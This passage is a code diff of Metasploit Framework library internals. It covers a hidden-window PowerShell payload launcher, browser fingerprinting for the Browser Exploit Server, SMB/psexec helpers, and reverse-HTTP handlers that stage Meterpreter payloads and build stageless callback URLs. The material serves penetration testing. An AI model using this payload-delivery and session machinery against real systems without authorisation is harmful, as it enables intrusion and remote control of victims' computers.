else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
|
||||
command = Rex::Powershell::Command.cmd_psh_payload(pay,
|
||||
payload_arch,
|
||||
template_path,
|
||||
opts)
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
include Rex::Powershell::PshMethods
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -49,24 +49,30 @@ module Msf
|
|||
|
||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||
REQUIREMENT_KEY_SET = Set.new([
|
||||
:source, # Either 'script' or 'headers'
|
||||
:ua_name, # Example: MSIE
|
||||
:ua_ver, # Example: 8.0, 9.0
|
||||
:os_name, # Example: Windows 7, Linux
|
||||
:os_device, # Example: iPad, iPhone, etc
|
||||
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
|
||||
:os_sp, # Example: SP2
|
||||
:language, # Example: en-us
|
||||
:arch, # Example: x86
|
||||
:proxy, # 'true' or 'false'
|
||||
:silverlight, # 'true' or 'false'
|
||||
:office, # Example: "2007", "2010"
|
||||
:java, # Example: 1.6, 1.6.0.0
|
||||
:clsid, # ActiveX clsid. Also requires the :method key
|
||||
:method, # ActiveX method. Also requires the :clsid key
|
||||
:mshtml_build, # mshtml build. Example: "65535"
|
||||
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
|
||||
:source, # Return either 'script' or 'headers'
|
||||
:ua_name, # Example: Returns 'MSIE'
|
||||
:ua_ver, # Example: Returns '8.0', '9.0'
|
||||
:os_name, # Example: Returns 'Windows 7', 'Linux'
|
||||
:os_device, # Example: Returns 'iPad', 'iPhone', etc
|
||||
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||
:os_sp, # Example: Returns 'SP2'
|
||||
:language, # Example: Returns 'en-us'
|
||||
:arch, # Example: Returns 'x86'
|
||||
:proxy, # Returns 'true' or 'false'
|
||||
:silverlight, # Returns 'true' or 'false'
|
||||
:office, # Example: Returns "2007", "2010"
|
||||
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||
:mshtml_build, # mshtml build. Example: Returns "65535"
|
||||
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||
# :activex is a special case.
|
||||
# When you set this requirement in your module, this is how it should be:
|
||||
# [{:clsid=>'String', :method=>'String'}]
|
||||
# Where each Hash is a test case
|
||||
# But when BES receives this information, the JavaScript will return this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# Also see: #has_bad_activex?
|
||||
:activex
|
||||
])
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -105,68 +111,61 @@ module Msf
|
|||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the custom 404 URL set by the user
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_custom_404_url
|
||||
datastore['Custom404'].to_s
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Allows a block of code to access BES resources in a thread-safe fashion
|
||||
#
|
||||
# @param block [Proc] Block of code to sync
|
||||
#
|
||||
def sync(&block)
|
||||
(@mutex ||= Mutex.new).synchronize(&block)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||
#
|
||||
# @return [String] URI to the exploit page
|
||||
#
|
||||
def get_module_resource
|
||||
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
||||
#
|
||||
# @return [String] absolute URI to the exploit page
|
||||
#
|
||||
def get_module_uri
|
||||
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the current target
|
||||
#
|
||||
def get_target
|
||||
@target
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns a hash of recognizable requirements
|
||||
#
|
||||
# @param reqs [Hash] A hash that contains data for the requirements
|
||||
# @return [Hash] A hash of requirements
|
||||
#
|
||||
def extract_requirements(reqs)
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
||||
# Make sure keys are always symbols
|
||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Sets the target automatically based on what requirements are met.
|
||||
# If there's a possible matching target, it will also merge the requirements.
|
||||
# You can use the get_target() method to retrieve the most current target.
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
#
|
||||
def try_set_target(profile)
|
||||
match_counts = []
|
||||
target_requirements = {}
|
||||
|
@ -195,30 +194,36 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns true if there's a bad ActiveX, otherwise false.
|
||||
# @param ax [String] The raw activex the JavaScript detection will return in this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||
def has_bad_activex?(ax)
|
||||
ax.split(';').each do |a|
|
||||
bool = a.split('=>')[2]
|
||||
if bool == 'false'
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Returns an array of items that do not meet the requirements
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
# @return [Array] An array of requirements not met
|
||||
#
|
||||
def get_bad_requirements(profile)
|
||||
bad_reqs = []
|
||||
|
||||
# At this point the check is already done.
|
||||
# If :activex is true, that means the clsid + method had a match,
|
||||
# if not, then false.
|
||||
if @requirements[:clsid] and @requirements[:method]
|
||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
||||
end
|
||||
|
||||
@requirements.each do |k, v|
|
||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||
next if k == :clsid or k == :method
|
||||
|
||||
expected = k != :vuln_test ? v : 'true'
|
||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||
|
||||
if k == :vuln_test
|
||||
if k == :activex
|
||||
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||
elsif k == :vuln_test
|
||||
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
||||
elsif v.is_a? Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
|
@ -232,7 +237,6 @@ module Msf
|
|||
bad_reqs
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||
# 'cookie_name' =>
|
||||
# {
|
||||
|
@ -253,7 +257,7 @@ module Msf
|
|||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
# 'mshtml_build' : The MSHTML build version
|
||||
# 'flash' : The Flash version
|
||||
|
@ -261,45 +265,41 @@ module Msf
|
|||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
#
|
||||
def get_profile(tag)
|
||||
sync do
|
||||
return @target_profiles[tag]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Updates information for a specific profile
|
||||
#
|
||||
# @param target_profile [Hash] The profile to update
|
||||
# @param key [Symbol] The symbol to use for the hash
|
||||
# @param value [String] The value to assign
|
||||
#
|
||||
def update_profile(target_profile, key, value)
|
||||
sync do
|
||||
target_profile[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Initializes a profile, if it did not previously exist
|
||||
#
|
||||
# @param tag [String] A unique string as a way to ID the profile
|
||||
#
|
||||
def init_profile(tag)
|
||||
sync do
|
||||
@target_profiles[tag] ||= {}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Retrieves a tag.
|
||||
# First it obtains the tag from the browser's "Cookie" header.
|
||||
# If the header is empty (possible if the browser has cookies disabled),
|
||||
# then it will return a tag based on IP + the user-agent.
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def retrieve_tag(cli, request)
|
||||
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
||||
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
||||
|
@ -317,13 +317,12 @@ module Msf
|
|||
tag
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Registers target information to @target_profiles
|
||||
#
|
||||
# @param source [Symbol] Either :script, or :headers
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def process_browser_info(source, cli, request)
|
||||
tag = retrieve_tag(cli, request)
|
||||
init_profile(tag)
|
||||
|
@ -361,23 +360,21 @@ module Msf
|
|||
})
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Checks if the target is running a proxy
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Boolean] True if found, otherwise false
|
||||
#
|
||||
def has_proxy?(request)
|
||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||
!proxy_header_set.empty?
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the code for client-side detection
|
||||
#
|
||||
# @param user_agent [String] The user-agent of the browser
|
||||
# @return [String] Returns the HTML for detection
|
||||
#
|
||||
def get_detection_html(user_agent)
|
||||
ua_info = fingerprint_user_agent(user_agent)
|
||||
os = ua_info[:os_name]
|
||||
|
@ -418,11 +415,20 @@ module Msf
|
|||
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
||||
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
if clsid and method
|
||||
activex = @requirements[:activex]
|
||||
if activex
|
||||
activex.each do \|a\|
|
||||
clsid = a[:clsid]
|
||||
method = a[:method]
|
||||
%>
|
||||
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
d['activex'] = "";
|
||||
if (ax == true) {
|
||||
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
|
||||
} else {
|
||||
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
|
||||
}
|
||||
<% end %>
|
||||
<% end %>
|
||||
<% end %>
|
||||
|
||||
|
@ -438,7 +444,7 @@ module Msf
|
|||
|
||||
%Q|
|
||||
<script>
|
||||
#{js}
|
||||
#{code}
|
||||
</script>
|
||||
<noscript>
|
||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||
|
@ -462,12 +468,11 @@ module Msf
|
|||
cookie
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Handles exploit stages.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
case request.uri
|
||||
when '/', get_resource.chomp("/")
|
||||
|
@ -548,18 +553,17 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Overriding method. The module should override this.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
#
|
||||
def on_request_exploit(cli, request, browser_info)
|
||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
|
@ -567,7 +571,6 @@ module Msf
|
|||
# then this is handled as an Array, with the first element
|
||||
# being the HTML, and the second element is the binding object.
|
||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||
#
|
||||
def send_exploit_html(cli, template, headers={})
|
||||
html = ''
|
||||
if template.class == Array
|
||||
|
@ -578,13 +581,12 @@ module Msf
|
|||
send_response(cli, html, headers)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Generates a target-specific payload, should be called by the module
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
# @return [String] The payload
|
||||
#
|
||||
def get_payload(cli, browser_info)
|
||||
arch = browser_info[:arch]
|
||||
platform = browser_info[:os_name]
|
||||
|
@ -618,9 +620,8 @@ module Msf
|
|||
|
||||
private
|
||||
|
||||
#
|
||||
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
||||
#
|
||||
|
||||
# Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
|
||||
def send_not_found(cli)
|
||||
custom_404_url = get_custom_404_url
|
||||
if custom_404_url.blank?
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'rex/proto/smb'
|
|||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
require 'recog'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
|
@ -45,7 +46,7 @@ module Msf
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
|
|
|
@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
# Retrieve the SERVICE_NAME option, generate a random
|
||||
# one if not already set.
|
||||
#
|
||||
# @return service_name [String] the name of the service.
|
||||
# @return [String] service_name the name of the service.
|
||||
def service_name
|
||||
@service_name ||= datastore['SERVICE_NAME']
|
||||
@service_name ||= Rex::Text.rand_text_alpha(8)
|
||||
|
@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
|
||||
# one if not already set.
|
||||
#
|
||||
# @return service_display_name [String] the display name of the service.
|
||||
# @return [String] the display name of the service.
|
||||
def display_name
|
||||
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
|
||||
@display_name ||= Rex::Text.rand_text_alpha(16)
|
||||
|
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
|
||||
# Retrieve the SERVICE_DESCRIPTION option
|
||||
#
|
||||
# @return service_description [String] the service description.
|
||||
# @return [String] the service description.
|
||||
def service_description
|
||||
@service_description ||= datastore['SERVICE_DESCRIPTION']
|
||||
end
|
||||
|
|
|
@ -240,7 +240,7 @@ module Msf
|
|||
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
end
|
||||
|
||||
# New connection handler, executed when there is a new conneciton.
|
||||
# New connection handler, executed when there is a new connection.
|
||||
#
|
||||
# @param c [Socket] The client establishing the connection.
|
||||
# @return [Hash] The hash with the client data initialized.
|
||||
|
|
|
@ -64,7 +64,7 @@ module Exploit::Remote::TincdExploitClient
|
|||
|
||||
#
|
||||
# The main method that will be called that will call other methods to send first message
|
||||
# and continously read from socket and ensures TCP disconnect at the end
|
||||
# and continuously read from socket and ensures TCP disconnect at the end
|
||||
#
|
||||
def send_recv(packet_payload)
|
||||
@packet_payload = packet_payload
|
||||
|
@ -95,7 +95,7 @@ module Exploit::Remote::TincdExploitClient
|
|||
|
||||
#
|
||||
# Reading of certificate files and parsing them, generation of random keys
|
||||
# and intialization of OFB mode blowfish cipher
|
||||
# and initialization of OFB mode blowfish cipher
|
||||
#
|
||||
def init_ciphers(server_file, client_file)
|
||||
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
||||
|
@ -315,7 +315,7 @@ module Exploit::Remote::TincdExploitClient
|
|||
end
|
||||
|
||||
#
|
||||
# Ack state to signalise challenge/response was successfull
|
||||
# Ack state to signalize challenge/response was successful
|
||||
#
|
||||
def ack
|
||||
vprint_status('Sending ack (signalise server that we accept challenge' +
|
||||
|
@ -325,7 +325,7 @@ module Exploit::Remote::TincdExploitClient
|
|||
end
|
||||
|
||||
#
|
||||
# Sending a packet inside the VPN connection after successfull protocol setup
|
||||
# Sending a packet inside the VPN connection after successful protocol setup
|
||||
#
|
||||
def send_packet
|
||||
vprint_status('Protocol finished setup. Going to send packet.')
|
||||
|
|
|
@ -172,7 +172,7 @@ class Framework
|
|||
attr_reader :datastore
|
||||
#
|
||||
# The framework instance's aux manager. The aux manager is responsible
|
||||
# for collecting and catalogging all aux information that comes in from
|
||||
# for collecting and cataloging all aux information that comes in from
|
||||
# aux modules.
|
||||
#
|
||||
attr_reader :auxmgr
|
||||
|
|
|
@ -77,6 +77,9 @@ module Handler
|
|||
# Initialize the pending_connections counter to 0
|
||||
self.pending_connections = 0
|
||||
|
||||
# Initialize the sessions counter to 0
|
||||
self.sessions = 0
|
||||
|
||||
# Create the waiter event with auto_reset set to false so that
|
||||
# if a session is ever created, waiting on it returns immediately.
|
||||
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
||||
|
@ -195,6 +198,9 @@ protected
|
|||
# and any relevant information
|
||||
s.set_from_exploit(assoc_exploit)
|
||||
|
||||
# Pass along any associated payload uuid if specified
|
||||
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
|
||||
|
||||
# If the session is valid, register it with the framework and
|
||||
# notify any waiters we may have.
|
||||
if (s)
|
||||
|
@ -234,10 +240,14 @@ protected
|
|||
# Decrement the pending connections counter now that we've processed
|
||||
# one session.
|
||||
self.pending_connections -= 1
|
||||
|
||||
# Count the number of sessions we have registered
|
||||
self.sessions += 1
|
||||
end
|
||||
|
||||
attr_accessor :session_waiter_event # :nodoc:
|
||||
attr_accessor :pending_connections # :nodoc:
|
||||
attr_accessor :sessions # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@ module Handler
|
|||
|
||||
###
|
||||
#
|
||||
# This handler expects a interactive TTY on the supplied socket/io object
|
||||
# This handler expects an interactive TTY on the supplied socket/io object
|
||||
#
|
||||
###
|
||||
module FindTty
|
||||
|
|
|
@ -1,8 +1,11 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
@ -15,7 +18,9 @@ module Handler
|
|||
module ReverseHttp
|
||||
|
||||
include Msf::Handler
|
||||
include Msf::Handler::ReverseHttp::UriChecksum
|
||||
include Rex::Payloads::Meterpreter::UriChecksum
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
include Rex::Post::Meterpreter
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
|
@ -88,7 +93,7 @@ module ReverseHttp
|
|||
def payload_uri(req)
|
||||
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
||||
callback_host = req.headers['Host']
|
||||
elsif ipv6?
|
||||
elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
||||
else
|
||||
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
|
@ -160,7 +165,9 @@ module ReverseHttp
|
|||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource("/")
|
||||
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -212,15 +219,41 @@ protected
|
|||
#
|
||||
def on_request(cli, req, obj)
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
info = process_uri_resource(req.relative_resource)
|
||||
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
||||
# Configure the UUID architecture and payload if necessary
|
||||
uuid.arch ||= obj.arch
|
||||
uuid.platform ||= obj.platform
|
||||
|
||||
uri_match = process_uri_resource(req.relative_resource)
|
||||
conn_id = nil
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
end
|
||||
|
||||
self.pending_connections += 1
|
||||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
|
||||
|
||||
# Handle the case where stageless payloads call in on the same URI when they
|
||||
# first connect. From there, we tell them to callback on a connect URI that
|
||||
# was generated on the fly. This means we form a new session for each.
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
new_uri = generate_uri_uuid(sum, uuid) + '/'
|
||||
|
||||
# This bit is going to need to be validated by the Ruby/MSF masters as I
|
||||
# am not sure that this is the best way to get a TLV packet out from this
|
||||
# handler.
|
||||
# Hurl a TLV back at the caller, and ignore the response
|
||||
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
|
||||
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
|
||||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
|
@ -251,11 +284,11 @@ protected
|
|||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
self.pending_connections += 1
|
||||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
when :init_java
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
|
@ -279,24 +312,27 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
when :init_native
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
|
@ -304,7 +340,7 @@ protected
|
|||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -316,14 +352,14 @@ protected
|
|||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
when /^\/CONN_.*\//
|
||||
resp.body = ""
|
||||
# Grab the checksummed version of CONN from the payload's request.
|
||||
conn_id = req.relative_resource.gsub("/", "")
|
||||
when :connect
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
|
||||
|
||||
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
|
||||
resp.body = ""
|
||||
conn_id = req.relative_resource
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
|
@ -333,13 +369,15 @@ protected
|
|||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
|
||||
resp.code = 200
|
||||
resp.message = "OK"
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
|
|
@ -0,0 +1,73 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Helper functionality for handling of stageless http(s) payloads
|
||||
#
|
||||
##
|
||||
|
||||
module Handler::ReverseHttp::Stageless
|
||||
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
||||
def initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stageless(opts={})
|
||||
unless opts[:generator]
|
||||
raise ArgumentError, "Stageless generation requires a generator argument"
|
||||
end
|
||||
|
||||
if opts[:ssl].nil?
|
||||
raise ArgumentError, "Stageless generation requires an ssl argument"
|
||||
end
|
||||
|
||||
host = datastore['LHOST']
|
||||
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
|
||||
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
|
||||
|
||||
# Use the init_connect mode because we're stageless. This will force
|
||||
# MSF to generate a new URI when the first request is made.
|
||||
url << "#{generate_uri_uuid_mode(:init_connect)}/"
|
||||
|
||||
# invoke the given function to generate the architecture specific payload
|
||||
opts[:generator].call(url) do |dll|
|
||||
|
||||
verify_cert_hash = nil
|
||||
if opts[:ssl]
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||
:url => url,
|
||||
:ssl => opts[:ssl],
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,128 +0,0 @@
|
|||
